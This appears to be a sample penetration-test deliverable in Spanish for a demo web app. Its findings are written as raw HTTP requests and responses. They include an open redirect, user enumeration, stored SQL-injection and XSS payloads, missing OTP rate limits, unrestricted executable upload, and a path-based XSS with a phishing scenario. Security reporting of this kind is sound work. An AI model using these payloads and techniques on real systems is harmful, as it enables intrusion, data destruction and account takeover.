Conoce Nuestros Entregables

POST https://api.demoweb.com/v1/links/create
Authorization: Bearer eyJhbGciOi...
Content-Type: application/json

{
  "title": "Campaña Q4",
  "url": "https://secure-login-demo.attacker-demo.net"
}

Respuesta observada:
HTTP/1.1 200 OK
{
  "id": 88421,
  "status": "created",
  "publicUrl": "https://app.demoweb.com/r/88421"
}

Desde la UI (https://app.demoweb.com/campaigns/new) el campo bloquea dominios no permitidos.
Al reenviar la petición manipulada por proxy, backend persiste el valor sin validación server-side.
Impacto confirmado: redirección externa desde enlaces generados por usuarios internos.

GET https://api.demoweb.com/v1/users?limit=200
Authorization: Bearer token_usuario_estandar

Respuesta observada:
HTTP/1.1 200 OK
{
  "items": [
    {"id":"u-1021","email":"ventas.norte@demoweb.com","role":"manager"},
    {"id":"u-1043","email":"soporte@demoweb.com","role":"operator"},
    {"id":"u-1107","email":"finance.lead@demoweb.com","role":"admin"}
  ]
}

POST https://api.demoweb.com/v1/auth/login
{
  "email":"inexistente@demoweb.com",
  "password":"Test123!"
}

Respuesta: {"error":"USER_NOT_FOUND"}

POST con cuenta existente:
Respuesta: {"error":"INVALID_PASSWORD","trace":"sid=6f84f3f8-..."}

El mensaje diferencia cuentas válidas y facilita reconocimiento.

POST https://api.demoweb.com/v1/customers/create
Content-Type: application/json

{
  "name": "Cliente Demo'; DROP TABLE logs;--",
  "notes": "<svg/onload=alert('xss')>",
  "source": "web-form"
}

Respuesta:
HTTP/1.1 201 Created
{
  "customerId":"c-8829",
  "name":"Cliente Demo'; DROP TABLE logs;--"
}

El payload quedó persistido y se visualiza en el módulo:
https://app.demoweb.com/customers/c-8829

No se observaron filtros en backend ni codificación de salida consistente.

POST https://api.demoweb.com/v1/auth/otp/request
{"email":"usuario.demo@demoweb.com"}

Prueba automatizada: 120 solicitudes / 2 minutos desde misma IP.
Resultado:
- 120 respuestas HTTP 200
- Sin bloqueo temporal
- Sin challenge CAPTCHA
- Sin header Retry-After

POST https://api.demoweb.com/v1/auth/otp/verify
{"email":"usuario.demo@demoweb.com","otp":"000000"}

Se permitieron múltiples intentos consecutivos sin escalado de controles.
No se observó lockout por cuenta ni por huella de dispositivo.

POST https://api.demoweb.com/v1/files/upload
Content-Type: multipart/form-data

file=@invoice_tool.exe;type=application/octet-stream
module=attachments

Respuesta:
HTTP/1.1 201 Created
{
  "fileId":"f-55120",
  "fileName":"invoice_tool.exe",
  "downloadUrl":"https://cdn.demoweb.com/files/f-55120"
}

Archivo de prueba: backup_dump_2.1GB.bin
Resultado:
HTTP/1.1 201 Created
Persistencia confirmada en almacenamiento sin validación de límite máximo.

URL de prueba:
https://app.demoweb.com/help/%3Cimg%20src=x%20onerror=alert(document.domain)%3E

Comportamiento observado:
El front procesa pathname y lo inyecta en componente breadcrumb sin sanitización estricta.
Se ejecuta JavaScript en contexto de app.demoweb.com.

Con history.replaceState(), la URL queda visualmente legítima para usuario final.
Escenario plausible: enlace por correo interno simulando módulo de soporte de DemoWeb.